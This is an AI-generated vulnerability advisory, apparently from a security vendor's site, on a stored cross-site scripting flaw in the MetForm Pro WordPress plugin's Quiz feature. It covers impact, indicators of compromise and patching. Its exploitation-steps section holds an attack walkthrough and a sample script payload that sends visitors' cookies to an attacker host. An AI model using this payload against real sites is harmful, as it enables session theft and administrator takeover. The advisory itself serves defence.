CVE-2026-1261: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1261 is a Stored Cross-Site Scripting (XSS) vulnerability in the MetForm Pro plugin for WordPress, affecting all versions up to and including 3.9.6. The flaw exists in the plugin's Quiz feature due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on March 10, 2026, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the MetForm Pro plugin's Quiz feature failing to properly sanitize user-supplied input before storing it and escaping it before rendering it in HTML output. Specifically, vulnerable code paths have been identified in core/features/quiz/loader.php at lines 69, 85, and 121 of the 3.9.5 tag. Because no authentication is required and user interaction is not needed at the injection stage, an unauthenticated attacker can submit a crafted payload through the Quiz feature that is then persistently stored and executed in the browser of any subsequent visitor (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an unauthenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any user's browser who visits the affected page — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to the browsers of site visitors (Wordfence, Red Hat CVE).

Exploitability

No evidence of active in-the-wild exploitation or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog has been reported for this CVE. The EPSS score is approximately 0.07%, indicating a low probability of exploitation in the near term. No public proof-of-concept exploit code or threat actor attribution has been identified. However, the unauthenticated nature of the attack vector (no privileges or user interaction required at injection time) makes it relatively straightforward to exploit if a site is running a vulnerable version (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the MetForm Pro plugin (version ≤ 3.9.6) by scanning for plugin-specific assets (e.g., /wp-content/plugins/metform-pro/) using tools like WPScan or Shodan.
  2. Locate Quiz feature: Navigate to a page on the target site that hosts a MetForm Pro Quiz form, which is publicly accessible without authentication.
  3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into a quiz input field that is insufficiently sanitized.
  4. Submit payload: Submit the quiz form with the malicious script in the vulnerable field (corresponding to code paths in loader.php lines 69, 85, or 121). The payload is stored in the WordPress database.
  5. Trigger execution: When any authenticated or unauthenticated user (including administrators) visits the page containing the injected quiz results or output, the malicious script executes in their browser.
  6. Achieve objective: Collect session cookies, perform actions on behalf of the victim, or escalate privileges by targeting an administrator session to install backdoors or create rogue accounts (Wordfence, WordPress Trac).

Indicators of compromise

  • Network: Unusual outbound HTTP requests from site visitors' browsers to unknown external domains (potential cookie exfiltration endpoints); unexpected redirects originating from MetForm Pro quiz pages.
  • Logs: WordPress access logs showing POST requests to MetForm Pro quiz submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
  • File System: Unexpected modifications to WordPress database entries associated with MetForm Pro quiz submissions containing <script> tags or JavaScript URIs.
  • Process/Behavior: New administrator accounts created without authorization; unexpected plugin installations or theme modifications following administrator visits to quiz pages (Wordfence).

Mitigation and workarounds

Site administrators should update the MetForm Pro plugin to version 3.9.7 or later, which addresses the insufficient input sanitization and output escaping in the Quiz feature. As an interim measure, disabling the Quiz feature within MetForm Pro or restricting access to quiz submission pages to authenticated users only can reduce exposure. Implementing a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Wordfence — can help block exploitation attempts while a patch is applied (Wordfence, WPmet Roadmap).

Community reactions

Wordfence, which discovered and assigned the CVE, published the vulnerability in their weekly WordPress vulnerability report for the week of March 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities (Wordfence Weekly Report). The vulnerability was also noted by automated threat intelligence aggregators including Offseq and VulDB shortly after disclosure, with limited broader community discussion observed (Offseq).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management